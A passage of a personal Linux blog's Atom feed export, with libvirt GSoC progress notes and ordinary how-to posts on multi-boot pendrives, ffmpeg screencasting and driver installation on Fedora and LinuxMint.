&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; them more closely bound. Also, nwfilter can snoop for dynamically alotted as well as statically alotted ip addresses. Hence, using&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; leases file is not altogether a best idea.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Idea is to make the API more generalized, and not for specific purpose. It should use typed parameters&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (e.g. parameter fields including VIR_NETWORK_CONFIG_DIR, VIR_NETWORK_LEASE_FILE, etc).&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * To be posted as RFC on the list.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Libvirt [Task]: Prepare RFC for Introducing API to query configurations directories.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt; __      __               __       ________
/  \    /  \ ____   ____ |  | __  /  _____/
\   \/\/   // __ \_/ __ \|  |/ / /   __  \ 
 \        /\  ___/\  ___/|    &amp;lt;  \  |__\  \
  \__/\  /  \___  &amp;gt;\___  &amp;gt;__|_ \  \_____  /
       \/       \/     \/     \/        \/ &lt;/pre&gt;
Libvirt [Update]: Why API to query configurations directories doesn&#39;t exist:
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *That is internal to the network driver. Under normal circumstances there should be no reason for&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; anything external to know that. Libvirt doesn&#39;t want them to rely on information that&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1) is specific to a particular implementation of the back-end of the network driver and&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2) may change in the future, causing their code to not work.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *It&#39;s the same reason you would want to hide as much of the internal implementation of any piece of&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;software - the more you reveal in an official API, the more you have to maintain *forever*, which is&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;especially difficult if it becomes deprecated/irrelevant.&lt;br /&gt;
&lt;br /&gt;
Libvirt [Task]: To continue with RFC anyway.&lt;/div&gt;
&lt;div&gt;
Libvirt [Task]: Final review of method 1 implementation complete. Patch sent to the list [https://www.redhat.com/archives/libvir-list/2013-July/msg01553.html]&lt;br /&gt;
&lt;br /&gt;
Libvirt [Task]: Post RFC of method 2 on list:&lt;br /&gt;
Libvirt [Task]: Start working on method 2 assuming that I have access to the leases file using XYZ API&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt; __      __               __     _________ 
/  \    /  \ ____   ____ |  | __ \______  \
\   \/\/   // __ \_/ __ \|  |/ /     /    /
 \        /\  ___/\  ___/|    &amp;lt;     /    / 
  \__/\  /  \___  &amp;gt;\___  &amp;gt;__|_ \   /____/  
       \/       \/     \/     \/           &lt;/pre&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: small; white-space: normal;&quot;&gt;Libvirt [Update]: Method 2 almost complete, only virsh support remaining.&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/3018007567552935784/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/3018007567552935784' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3018007567552935784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3018007567552935784'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2013/06/google-summer-of-code-2013-progress.html' title='Google Summer of Code 2013 Progress'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-81854094064085172</id><published>2013-05-21T08:03:00.000-07:00</published><updated>2013-06-01T12:33:28.595-07:00</updated><title type='text'>How To Create A Multi-Partition Multi-Boot Pendrive</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;link href=&quot;http://alexgorbatchev.com/pub/sh/current/styles/shCore.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt;&lt;/link&gt; 
&lt;link href=&quot;http://alexgorbatchev.com/pub/sh/current/styles/shThemeDefault.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt;&lt;/link&gt; 
&lt;script src=&quot;http://alexgorbatchev.com/pub/sh/current/scripts/shBrushBash.js.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt; 
&lt;script language=&quot;javascript&quot;&gt; 
SyntaxHighlighter.config.bloggerMode = true;
SyntaxHighlighter.config.clipboardSwf = &#39;http://alexgorbatchev.com/pub/sh/current/scripts/clipboard.swf&#39;;
SyntaxHighlighter.all();
&lt;/script&gt;

&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;360&quot; src=&quot;http://www.youtube.com/embed/0UryGyDoMrc&quot; width=&quot;580&quot;&gt;&lt;/iframe&gt;

&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Step 1: Install gparted
&lt;br /&gt;
In rpm-based operating systems:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ yum install -y gparted&lt;/pre&gt;
In debian-based operating systems:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ sudo apt-get install -y gparted&lt;/pre&gt;
Step 2: Created 5 Logical Partitions each of 850MB in your pendrive. Give appropriate label to each partition. The last 4 will hold the content for installation. The first partition can be used as a normal pen drive uses. Note: These 5 Logical partitions have been created out of a single extended partition.&lt;br /&gt;
Step 3: Download the images of the distros.&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ wget http://centos.mirror.euserv.net/6.4/isos/x86_64/CentOS-6.4-x86_64-LiveCD.iso 
$ wget http://ftp.jaist.ac.jp/pub/Linux/Fedora/releases/17/Live/x86_64/Fedora-17-x86_64-Live-Desktop.iso
$ wget http://gb.releases.ubuntu.com//raring/ubuntu-13.04-desktop-amd64.iso
$ wget http://gb.releases.ubuntu.com//raring/ubuntu-13.04-desktop-i386.iso
&lt;/pre&gt;
Step 4: Mount all the 5 partitions. (In GUI mode, or any other mode you prefer)&lt;br /&gt;
Step 5: Mount the images one by one and then extract their contents to the respective partitions&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ mount -o loop /home/Wani/OSImages/CentOS-6.4-x86_64-LiveCD.iso /mnt
$ cp -rv /mnt/* /run/media/Wani/CENTOS
$ umount /mnt
&lt;/pre&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ mount -o loop /home/Wani/OSImages/Fedora-17-x86_64-Live-Desktop.iso /mnt
$ cp -rv /mnt/* /run/media/Wani/FEDORA
$ umount /mnt
&lt;/pre&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ mount -o loop /home/Wani/OSImages/ubuntu-13.04-desktop-amd64.iso /mnt
$ cp -rv /mnt/* /run/media/Wani/UBUNTU13.04
$ umount /mnt
&lt;/pre&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ mount -o loop /home/Wani/OSImages/ubuntu-13.04-desktop-i386.iso /mnt
$ cp -rv /mnt/* /run/media/Wani/UBUNTU13.041
$ umount /mnt
&lt;/pre&gt;
In my OS, the mount point was /run/media/Wani. It might be different in your OS.&lt;br /&gt;
Step 6: Install grub into the pendrive&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ grub2-install --root-directory /run/media/Wani/Partition1-Name /dev/sdx #replace x with the appropriate letter
&lt;/pre&gt;
Step 7: Find the location of files grub.cfg/grub.conf/loopback.cfg in each partition.&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;FEDORA:        /mnt/EFI/BOOT/grub.conf
CENTOS:        /EFI/boot/grub.conf
UBUNTU13.04:   /boot/grub/grub.cfg
UBUNTU13.041:  /boot/grub/loopback.cfg
&lt;/pre&gt;
&lt;div&gt;
Step 8: Find the mapping of each partition with its partition number. It will depend on the order in which these partitions were created&lt;br /&gt;
FEDORA:        /dev/sda5&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;CENTOS:        /dev/sda6
UBUNTU13.04:   /dev/sda7
UBUNTU13.041:  /dev/sda8
&lt;/pre&gt;
&lt;div&gt;
&lt;/div&gt;
Step 9: Configure grub file on pendrive.&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ vim /run/media/Wani/Partition1-Name/boot/grub2/grub.cfg&lt;/pre&gt;
Template:

&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;menuentry &quot;OS Name&quot; {
 root=(hd0,msdos(mapping-number))
  legacy_configfile (location-of-grub-config-file)
}&lt;/pre&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;&lt;/pre&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;set timeout=10
set default=0

menuentry &quot;Fedora 17 x86_64&quot; {
 root=(hd0,msdos5)
  legacy_configfile /EFI/BOOT/grub.conf
}
menuentry &quot;CentOS 6.4 x86_64&quot; {
 root=(hd0,msdos6)
  legacy_configfile /EFI/boot/grub.conf
}
menuentry &quot;Ubuntu 13.04 64bit&quot; {
 root=(hd0,msdos7)
  configfile /boot/grub/grub.cfg
}
menuentry &quot;Ubuntu 13.04 32-bit&quot; {
 root=(hd0,msdos8)
  configfile /boot/grub/loopback.cfg
}
&lt;/pre&gt;
Note that Fedora and CENTOS use the old grub syntax, hence the option legacy_configfile but Ubuntu uses the new one.&lt;br /&gt;
&lt;br /&gt;
Step 10: Change the grub.conf file in the partition of FEDORA and CENTOS&lt;br /&gt;
In /EFI/boot/grub.conf, change the value of root from&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;root=live:LABEL=CentOS-6.4-x86_64-LiveCD&lt;/pre&gt;
to
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;root=live:LABEL=CENTOS&lt;/pre&gt;
Note: The label needs to be changed, so that grub knows, which partition to boot from. The &#39;label&#39; is the label that you put while creating the partitions. Repeat the same for FEDORA.&lt;br /&gt;
&lt;br /&gt;
Step 11(Optional): Mark the partitions containing extracted images as hidden, so that they are not automatically mounted. Use the Partition-1 as for normal data&amp;nbsp;transferring&amp;nbsp;purposes.&lt;br /&gt;
&lt;br /&gt;
Update: For Fedora 18, a following changes have to be made:&lt;br /&gt;
&lt;br /&gt;
(i) Go in to the partition in which&amp;nbsp;Fedora-18-x86_64-Live-Desktop.iso was extracted. Go to the folder EFI/Boot and create a file grub.conf with the following configuration: (Assumed that the label of the partition is FEDORA18)
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;default=0
timeout 10
hiddenmenu

title Fedora-18-x86_64-Live-Desktop.iso
  findiso
  kernel /isolinux/vmlinuz0 root=live:LABEL=FEDORA18 ro rd.live.image quiet  rhgb xdriver=vesa nomodeset
  initrd /isolinux/initrd0.img
title Verify and Boot Fedora-18-x86_64-Live-Desktop.iso
  findiso
  kernel /isolinux/vmlinuz0 root=live:LABEL=FEDORA18  ro rd.live.image quiet  rhgb rd.live.check
  initrd /isolinux/initrd0.img
&lt;/pre&gt;
&lt;br /&gt;
(i) Add the following in the first partition&#39;s boot/grub2/grub.cfg:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
menuentry &quot;Fedora 18 x86_64&quot; {
  root=(hd0,msdos5)
  legacy_configfile /EFI/BOOT/grub.conf
}

&lt;/pre&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/81854094064085172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/81854094064085172' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/81854094064085172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/81854094064085172'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2013/05/how-to-make-multi-partition-multi-boot.html' title='How To Create A Multi-Partition Multi-Boot Pendrive'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/0UryGyDoMrc/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-6289186043565704967</id><published>2013-01-07T10:46:00.000-08:00</published><updated>2013-01-07T11:47:48.365-08:00</updated><title type='text'>Install Linuxdcpp In Fedora 16/17</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;iframe allowfullscreen=&quot;allowfullscreen&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/t0WryAKW2PI&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
Step 1: Download Source: &lt;a href=&quot;http://prdownload.berlios.de/linuxdcpp/linuxdcpp-1.0.2.tar.bz2&quot;&gt;http://prdownload.berlios.de/linuxdcpp/linuxdcpp-1.0.2.tar.bz2&lt;/a&gt; and extract. &lt;br /&gt;
&lt;br /&gt;
Step 2: Install the packages required for compilation of source code.&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=yCUjQEKT&quot;&gt;&lt;/script&gt;


&lt;br /&gt;
Step 3: Edit the file SConstruct and add the following: 

&lt;script src=&quot;http://pastebin.com/embed_js.php?i=peGzAu1w&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
&lt;br /&gt;
Step 4: Compile and Install!&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=syA4T6Hx&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
Step 5: Now that linuxdcpp has been installed, See the above video for a small demo.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/6289186043565704967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/6289186043565704967' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/6289186043565704967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/6289186043565704967'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2013/01/install-linuxdcpp-in-fedora-1617.html' title='Install Linuxdcpp In Fedora 16/17'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/t0WryAKW2PI/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-1246912795984232867</id><published>2012-10-24T03:33:00.002-07:00</published><updated>2012-10-24T03:33:35.962-07:00</updated><title type='text'>How To Perform Screen-Casts In Windows!</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;iframe allowfullscreen=&quot;allowfullscreen&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/9Wv0N5Jixk8&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To read more about how the software works and read its code, visit:&lt;br /&gt;
&lt;a href=&quot;https://github.com/rdp/screen-capture-recorder-to-video-windows-free&quot;&gt;https://github.com/rdp/screen-capture-recorder-to-video-windows-free&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/rdp/virtual-audio-capture-grabber-device&quot;&gt;https://github.com/rdp/virtual-audio-capture-grabber-device&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hi Guys! Today I am going to show you how to perform proper screen casts in Windows 7 using free, open-source softwares!&lt;br /&gt;
&lt;br /&gt;
Step 1:&lt;br /&gt;
Go to the following link: https://sourceforge.net/projects/screencapturer/files and download the software &#39;screen-capture-recorder-to-video-windows-free&#39;&lt;br /&gt;
&lt;br /&gt;
Step 2:&lt;br /&gt;
Go the following link: https://sourceforge.net/projects/virtualaudiodev/files and download the software &#39;virtual-audio-capture-grabber-device&#39;&lt;br /&gt;
&lt;br /&gt;
Step 3:&lt;br /&gt;
Install the two softwares&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Step 4:&lt;br /&gt;
Go to Start-&amp;gt;All Programs-&amp;gt;Screen Capture Recorder-&amp;gt;Record-&amp;gt;Record or Stream video or audio&lt;br /&gt;
&lt;br /&gt;
Step 5:&lt;br /&gt;
Choose the mode, the resolution for recording and location for saving.&lt;br /&gt;
&lt;br /&gt;
Step 6:&lt;br /&gt;
Start recording!&lt;br /&gt;
&lt;br /&gt;
Lets see the recording!&lt;br /&gt;
&lt;br /&gt;
Enjoy! :) :) :)&lt;br /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/1246912795984232867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/1246912795984232867' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/1246912795984232867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/1246912795984232867'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2012/10/how-to-perform-screen-casts-in-windows.html' title='How To Perform Screen-Casts In Windows!'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/9Wv0N5Jixk8/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-4567766751116622530</id><published>2012-09-22T14:24:00.001-07:00</published><updated>2015-03-22T11:21:47.252-07:00</updated><title type='text'>How To Do Screen Casts In Linux</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div&gt;

&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

&lt;br /&gt;&lt;/div&gt;
&lt;iframe allowfullscreen=&quot;allowfullscreen&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/B-ry-f3Mpx4&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
If you have an rpm-based OS, do :&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=X4wzZb4S&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
else if you have a debian based OS, do:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=HQcGgWPr&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
&lt;br /&gt;
After the packages are installed,&lt;br /&gt;
&lt;br /&gt;
Run the the following command for a screen cast (without audio):&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=Mw76FuFB&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
-f &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; == &amp;nbsp;force format&lt;br /&gt;
x11grab == &amp;nbsp;Grab the X11 display&lt;br /&gt;
-s &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;== &amp;nbsp;size&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;wxga &amp;nbsp; &amp;nbsp;==&amp;nbsp;1366x768&lt;br /&gt;
-r &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;== set frame rate&lt;br /&gt;
-i &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; == in file&lt;br /&gt;
&lt;br /&gt;
-sameq &amp;nbsp;== same quality&lt;br /&gt;
&lt;br /&gt;
This will create a file out.mpg in the directory /tmp.&lt;br /&gt;
&lt;br /&gt;
Run the the following command for a screen cast (with audio):&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=2Bn25J2B&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
-y &amp;nbsp; == Overwrite output files&lt;br /&gt;
alsa ==&amp;nbsp;&amp;nbsp;ALSA (Advanced Linux Sound Architecture) input device&lt;br /&gt;
&lt;div&gt;
-ac &amp;nbsp;== set number of audio channels&lt;/div&gt;
&lt;div&gt;
-i &amp;nbsp; &amp;nbsp;== pulse [Refers to pulseaudio]&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
`xdpyinfo | grep &#39;dimensions:&#39;|awk &#39;{print $2}&#39;` == get the max resolution of your screen&lt;/div&gt;
&lt;div&gt;
-acodec == foce audio codec&lt;/div&gt;
&lt;div&gt;
-an == Disable audio recording&lt;/div&gt;
&lt;div&gt;
-video == foce video codec&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
This will create two files my_output.wav and my_output.mp4 in the current directory.&lt;br /&gt;
&lt;br /&gt;
This correspond to the audio and video recorded.&lt;br /&gt;
&lt;br /&gt;
To join combine the audio and video in a single file, just type:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=9R41HxDq&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
The required video will be stored in Output.mp4&lt;br /&gt;
&lt;br /&gt;
Update: In fedora, Ctrl + Shift + Alt + R -- Records a Screencast of your entire desktop and saves it to your Videos folder.&lt;/div&gt;
&lt;br /&gt;
To detect crop dimensions:
&lt;pre class=&quot;prettyprint&quot;&gt;
ffmpeg -i in.mpg -vf &quot;cropdetect=24:16:0&quot; out.mpg
&lt;/pre&gt;
To crop video:
&lt;pre class=&quot;prettyprint&quot;&gt;
ffmpeg -i input.mpg -vf &quot;crop=1280:768:43:0&quot; -qscale 0 output.mpg
&lt;/pre&gt;
To change aspect ratio:
&lt;pre class=&quot;prettyprint&quot;&gt;
ffmpeg -i input.mpg -s 1366x768 -aspect 16:9 -qscale 0 output.mpg
&lt;/pre&gt;
To concatenate media files:
&lt;pre class=&quot;prettyprint&quot;&gt;
ffmpeg -f concat -i mylist.txt -c copy -qscale 0 out_.mpg
cat mylist.txt
file out1.mpg
file out2.mpg
&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/4567766751116622530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/4567766751116622530' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/4567766751116622530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/4567766751116622530'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2012/09/how-to-do-screen-casts-in-linux.html' title='How To Do Screen Casts In Linux'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/B-ry-f3Mpx4/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-6832856515094075818</id><published>2012-09-19T10:55:00.000-07:00</published><updated>2012-09-19T10:56:52.415-07:00</updated><title type='text'>How To Install ATI Catalyst Drivers In Fedora 16</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Execute the following series of commands:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=rVCFRkUN&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
If you get any of the following error(s) while booting:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=NkAuM7mM&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
Then you should type:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=vVX2Qtj8&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
If you are ever stuck at the start-up screen at &quot;Starting Display Manager&quot;:&lt;br /&gt;
&lt;br /&gt;
It means that either you have installed the wrong packages or fiddled wrongly with config files. In order to correct this, you have to re-install the drivers. But in order to do so, you&#39;ll need to either boot into recovery mode or at the boot screen press &#39;e&#39; and type 3 at the end of rhgb quiet and press &#39;b&#39; to boot. Then plugin your ethernet cable and re-install the drivers.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/6832856515094075818/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/6832856515094075818' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/6832856515094075818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/6832856515094075818'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2012/09/how-to-install-ati-catalyst-drivers-for.html' title='How To Install ATI Catalyst Drivers In Fedora 16'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-3040923242742291718</id><published>2012-09-18T06:51:00.001-07:00</published><updated>2012-09-18T21:37:28.540-07:00</updated><title type='text'>How To Install Ethernet/Wireless/Bluetooth Drivers In LinuxMint </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
How To Install Ethernet/Wireless/Bluetooth Drivers In LinuxMint&lt;br /&gt;
&lt;br /&gt;
Step 1: &amp;nbsp;First open terminal and type:
&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=Bke6BpM4&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
Step 2: Download&amp;nbsp;&lt;a href=&quot;https://docs.google.com/open?id=0B8d4Lb_KJbfdNjluVHBucHV3d1E&quot;&gt;https://docs.google.com/open?id=0B8d4Lb_KJbfdNjluVHBucHV3d1E&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=DmB4LGvU&quot;&gt;&lt;/script&gt;

